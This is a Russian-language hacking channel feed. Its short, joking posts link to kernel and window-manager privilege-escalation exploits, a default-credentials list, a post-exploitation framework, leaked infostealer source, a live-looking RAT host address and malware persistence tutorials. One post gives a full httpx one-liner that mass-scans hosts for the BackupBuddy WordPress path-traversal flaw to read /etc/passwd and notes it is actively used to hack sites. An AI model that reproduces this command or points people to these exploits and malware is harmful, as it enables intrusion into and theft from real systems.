CVE-2022-2586
Помните дырку в кросс-таблице nf_tables в функции net/netfilter/nf_tables_api.c ядра Linux ?
*
Так вот, ребята из OpenWall (конкретно Alejandro Guerrero), написал небольшой writeup по этой дырке, ну и в догонку написал сплоит, который очень даже можно применить.
*
Читать описание
Скачать exploit

#linux #exploit #lpe

Хороший постер на стену бы вышел

ПроПатчиться не забыли ?
зарелизили Debian 11.5 со страшным 5.10.140-1
Ядро новое, руткиты старые 😜

#debian #patchDay

Зато у нас без пароля на архив 😜😜😜

Приходите на ежегодный праздник имени Кобальта))

WhatWeb
Next generation web scanner
Жирнющий сканер, комбайн
Из интересного: Over 1800 plugins и столько же разработчиков 😜
Читаем, качаем, испытываем

#scanner #security

Default Credentials Cheat Sheet
Большой список дефолтных логинов\паролей от железяк и всяких сервисов. Это бывает полезно
Забрать
😎
#password #default

А вот и 256 день в году. всех сопричастных с праздником !
😎

Мы очень, очень рады, представить Вам ГЕРОИНН
Первый дозняк бесплатно !
так вот, Heroinn препарат кросс-платформенный и используется как post-exploitation framework
Прекурсором является RUST - который вызывает сильные привыкание (сильнее только python - запрещен в РФ)
В общем берем инсулинку, Варим и пробуем тут

#framework

ZeroDay в оконном менеджере Enlightenment
привелегии до root
протестированно на ubuntu 22.04, в теории работает в любом дистре
Забрать готовый exploit

#exploit #linux #zeroday

Ну ка быстро признались, чей RATник ?
hXXp://188.227.57.46/folder/
MSI
CORE
report

#malware

На xss.is слили в сеть исходники Taurus/Predator The Thief
Тред\исходники

#malware

Malware development: persistence - part 1. Registry run keys. C++ example.
Read

#walware #windows

Wordpress vuln\CVE
plugin: BackupBuddy
*

cat hosts |httpx -noscript -path "/wp-admin/admin-post.php?page=pb_backupbuddy_destinations&local-destination-id=/etc/passwd&local-download=/etc/passwd" -match-string "root:x:0:0"

*
Уже неделю активно используется для похека wordpress хостов
#wordpress #cve

Злой Putty, корейская морковка, работа_мечты_Amazon.iso и троян AIRDRY.V2'
Не понятно ? тогда читаем расследование от bleepingcomputer.com

Gitea - Remote Code Execution (for version 1.16.6)
CVE-2022-30781 - описание

#exploit

Мы уже постили exploit для CVE-2022-27925 (zimbra)
Вот тот же сплоит, только с реализацией reverseShell (для ленивых)
😋

админам на заметку:
Как быстро раcпарсить RDP логи и понять как авторизовался удаленный юзер (kerberos или NTLM)
Download get-RdpLogonEvent.ps1

#windows #rdp